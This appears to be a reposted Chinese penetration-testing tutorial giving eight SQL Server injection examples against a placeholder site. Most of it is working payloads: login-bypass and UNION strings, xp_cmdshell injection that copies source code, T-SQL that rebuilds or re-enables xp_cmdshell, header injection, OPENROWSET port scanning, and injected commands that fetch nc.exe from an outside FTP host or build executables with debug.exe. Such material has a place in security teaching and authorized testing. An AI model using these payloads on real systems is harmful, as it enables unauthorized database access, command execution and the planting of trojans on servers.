当前位置: 首页 > article >正文

安全测试之五:SQL Server注入漏洞几个实例

示例 1:在 GET 请求中测试 SQL 注入

最简单且有时最有效的情况是针对登录页面进行测试。当登录页面请求用户输入用户名和密码时,攻击者可以尝试输入以下字符串 “' or '1'='1”(不包含双引号):

https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1

如果应用程序正在使用动态 SQL 查询,并且该字符串将附加到用户凭证验证查询中,那么攻击者可能会成功登录应用程序。

示例 2:在 Get 请求中进行 SQL 注入以了解列数

为了了解目标表中存在多少列,攻击者可以构造如下请求:

https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--

示例 3:POST 请求中的 SQL 注入

在 POST 请求中进行 SQL 注入时,攻击者可以修改请求的内容。例如,注入的 HTTP POST 内容如下:

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

一个完整的 POST 示例(https://vulnerable.web.app/forgotpass.asp):

POST /forgotpass.asp HTTP/1.1

Host: vulnerable.web.app

[...]

Referer: http://vulnerable.web.app/forgotpass.asp

Content-Type: application/x-www-form-urlencoded

Content-Length: 50

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

当在电子邮件字段中输入(单引号)字符时,可能会获得如下错误消息:

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string '' '.

/forgotpass.asp, line 15

这些错误消息可以帮助攻击者分析应用程序的 SQL 查询构建方式。

示例 4:另一个(非常有效的)GET 示

攻击者可以通过 GET 请求获取应用程序的源代码,构造如下请求:

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--

该请求会将登录页面的源代码复制到一个可访问的文件中。

示例 5:自定义 xp_cmdshell

所有描述 SQL Server 安全最佳实践的书籍和论文都建议在 SQL Server 2000 中禁用 xp_cmdshell(在 SQL Server 2005 中默认禁用)。然而,如果攻击者具有 sysadmin 权限(可以通过本地权限提升或暴力破解 sysadmin 密码获得),通常可以绕过此限制。

  • 在 SQL Server 2000 上
  • 如果 xp_cmdshell 已禁用,攻击者可以简单地注入以下代码:

sp_addextendedproc 'xp_cmdshell','xp_log70.dll'

  • 如果上述代码不起作用,意味着相关文件已被移动或删除。在这种情况下,攻击者需要注入以下代码:

CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) ASDECLARE @result int, @OLEResult int, @RunResult intDECLARE @ShellID intEXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUTIF @OLEResult <> 0 SELECT @result = @OLEResultIF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @WaitIF @OLEResult <> 0 SELECT @result = @OLEResultIF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)EXECUTE @OLEResult = sp_OADestroy @ShellIDreturn @result

这段代码由 Antonin Foller 撰写,它创建了一种新的使用方式,并且不会被默认禁用。在使用它之前,攻击者需要删除之前创建的(即使它不起作用),否则两个声明将冲突。

  • 在 SQL Server 2005 上
    xp_cmdshell 可以通过注入以下代码来启用:

master..sp_configure 'show advanced options',1reconfigure

master..sp_configure 'xp_cmdshell',1reconfigure

示例 6:利用 Referer /User - Agent 进行 SQL 注入

攻击者可以通过修改 HTTP 请求的 Referer 头部或 User - Agent 头部来执行任意 SQL 代码。

  • Referer 头部注入
    将 Referer 头部设置为:

Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--

这样就允许执行任意 SQL 代码。

  • User - Agent 头部注入
    将 User - Agent 头部设置为以下内容同样会允许执行任意 SQL 代码:

User - Agent: user_agent', 'some_ip'); [SQL CODE]--

示例 7:SQL Server 作为端口扫描器

在 SQL Server 中,OpenRowset 命令是一个非常有用的工具,渗透测试人员可以使用它在目标网络中扫描其他机器的端口。注入以下查询:

select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--

此查询将尝试连接到地址 x.y.w.z 的指定端口 p。如果端口关闭,将返回以下消息:

SQL Server does not exist or access denied

如果端口打开,则将返回以下错误之一:

General network error. Check your network documentation

OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error

当然,错误消息并不总是可用。如果是这种情况,攻击者可以使用响应时间来判断端口状态:使用封闭的端口,会发生超时(此示例中的 5 秒),而开放端口将立即返回结果。需要注意的是,SQL Server 2000 中默认情况下启用了 OpenRowset,但在 SQL Server 2005 中被禁用。

示例 8:可执行文件的上传

一旦攻击者可以使用 xp_cmdshell(无论是原生的还是自己修改过的),就可以轻松地将可执行文件上传到目标数据库服务器上。一个常见的选择是上传 netcat.exe,但任何木马都可以。

  • 使用 FTP 上传:
    如果允许目标启动 FTP 连接到渗透测试人员的计算机,攻击者只需要注入以下查询:

exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--

此时将上传 nc.exe 并可以使用。

  • 绕过防火墙上传
        如果防火墙不允许使用 FTP,攻击者可以利用默认安装在所有 Windows 机器上的 Windows 调试器 debug.exe。Debug.exe 是可编写脚本的,并且能够通过执行适当的脚本文件来创建可执行文件。攻击者需要做的是将可执行文件转换为调试脚本(这是一个 100% 的 ASCII 文件),逐行上传它,最后调用 debug.exe。有几个工具可以创建这种调试文件(例如:Ollie Whitehouse 的 makescr.exe 和 toolcrypt.org 的 dbgtool.exe)。因此,攻击者可以用以下内容进行注入的查询:

exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--....exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--exec master..xp_cmdshell 'debug.exe < debugscript.txt';--

在这时,攻击者的可执行文件就可以在目标计算机上使用了。


http://www.kler.cn/a/569107.html

相关文章:

  • Linux学习笔记1
  • 差分矩阵问题
  • 什么是预训练语言模型下游任务?
  • 创建一个MCP服务器,并在Cline中使用,增强自定义功能。
  • 通俗解释机器学习中的召回率、精确率、准确率
  • 学习C++常用词汇词组及缩写汇总
  • 腿足机器人之十四-强化学习SAC算法
  • 突破Ajax跨域困境,解锁前端通信新姿势
  • CMake高级特性:构建复杂项目的核心技巧
  • mysqldump 参数详解
  • 公寓管理租房小程序毕业系统设计
  • P10265 [GESP样题 七级] 迷宫统计
  • React低代码项目:Redux 状态管理
  • 数据结构——排序4
  • 深入理解Java网络编程:从基础到高级应用
  • C语言面试常见问题
  • 云计算第二周学习问题总结
  • 从0学习Spark
  • 开启AI短剧新纪元!SkyReels-V1/A1双剑合璧!昆仑万维开源首个面向AI短剧的视频生成模型
  • 安当全栈式MySQL安全解决方案:透明加密、动态凭据与勒索防护一体化实践